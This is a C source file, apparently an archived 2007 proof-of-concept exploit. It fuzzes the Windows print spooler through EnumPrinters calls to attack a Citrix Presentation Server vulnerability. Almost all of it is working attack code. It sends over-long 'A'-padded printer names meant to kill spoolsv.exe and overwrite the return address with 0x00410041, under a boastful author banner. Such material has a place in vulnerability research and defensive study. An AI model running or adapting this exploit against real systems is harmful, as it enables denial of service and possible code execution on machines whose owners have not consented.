/* Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1 Author: Andres Tarasco Acuña - atarasco@514.es url: http://www.514.es This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that it will help to identify similar vulnerabilities. Tested against win2k3 + Citrix presentation server. If the system is vulnerable this application will kill spooler service (spoolsv.exe ) and ret will be overwritten with 0x00410041 514 Tiger Team ownz u */ #include <stdio.h> #include <windows.h> #include <Winspool.h> #pragma comment(lib,"Winspool.lib") void usage(char *name) { printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name); printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name); exit(0); } #define RECURSIVE 1 #define OPT_UNICODE 2 #define MAX_PRINTER_LEN 4096 #define _DBG_ #undef _DBG_ int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000}; wchar_t dst[MAX_PRINTER_LEN]; void Fuzzer( wchar_t *orig,int opt, int unicode) { int i,j; int len; if (unicode) len=wcslen(orig); else len=strlen((char *)orig); memset((char *)dst,'\0',sizeof(dst)); memcpy((char *)dst,orig,len*(1+unicode)); j=wcslen(orig); for(i=0;i<CustomFuzzSize[opt];i++) { if (unicode) dst[j+i]='A'; else ((char *)dst)[j+i]=(char)'A'; } if (opt==0) { if (unicode) printf("Fuzzing: %S ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]); else printf("Fuzzing: %s ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]); } } DWORD ShowPrinterInfo(wchar_t *lpName, int level, int opt, char *padding) { unsigned char *lpInfo; int i,j; DWORD n; DWORD dwSizeNeeded=0; char newpadding[50]; DWORD ret; if (opt & OPT_UNICODE) { EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n ); } else { EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n ); } if (dwSizeNeeded==0) { #ifdef _DBG_ printf ( "EnumPrintersX() Invalid. Error: %d \n",GetLastError() ); #endif return(-1); } lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded ); if ( lpInfo != NULL ) { if (opt & OPT_UNICODE) { ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n); } else { ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n); } if ( ret== 0 ) { #ifdef _DBG_ printf ( "EnumPrintersX() Failed. Error: %d ( %i)\n",GetLastError(),dwSizeNeeded ); #endif HeapFree ( GetProcessHeap (), 0, lpInfo ); return 0; } else { PRINTER_INFO_1 *dataI; PRINTER_INFO_2 *dataII; for ( i=0; i < n; i++ ) { dataI=(PRINTER_INFO_1*)lpInfo; printf("%s",padding); if (opt & OPT_UNICODE) { if (dataI[i].pName) printf(" %S - ",(dataI[i].pName)); if (dataI[i].pDescription) printf(" %S ",(dataI[i].pDescription)); //if (dataI[i].pComment) printf(" %S - ",(dataI[i].pComment)); } else { if (dataI[i].pName) printf(" %s - ",(dataI[i].pName)); if (dataI[i].pDescription) printf(" %s ",(dataI[i].pDescription)); //if (dataI[i].pComment) printf(" %s - ",(dataI[i].pComment)); } printf("\n"); for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) { if (opt & OPT_UNICODE) { Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE); ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding); } else { Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE); ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding); } } if (opt & RECURSIVE ) { strcpy (newpadding,padding); strcat(newpadding,"---"); newpadding[1]='+'; ShowPrinterInfo(dataI[i].pName,level, opt, newpadding); } printf("\n"); } HeapFree ( GetProcessHeap (), 0, lpInfo ); } } return(1); } int testPrinters(void) { DWORD size,ret,err; ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size ); if ( ret==0 ) { err=GetLastError(); if (err!=122) { //size error printf("[-] Printer Service not available - Error: %d\n",err ); exit(-1); } } return(1); } int main ( int argc, char *argv[] ) { printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit\n"); printf("[+] Discovered by ZDI - http://secunia.com/advisories/23869/\n"); printf("[+] Proof of concept by Andres Tarasco - atarasco@514.es\n\n"); if (argc!=2) usage(argv[0]); testPrinters(); printf("[+] Printer Service Seems to be working.. Fuzzing\n"); if ( (argv[1][1]=='u')) { ShowPrinterInfo(NULL,1,3,"[*]"); testPrinters(); } if ( (argv[1][1]=='a')) { ShowPrinterInfo(NULL,1,1,"[*]"); testPrinters(); } return(0); } // milw0rm.com [2007-01-26]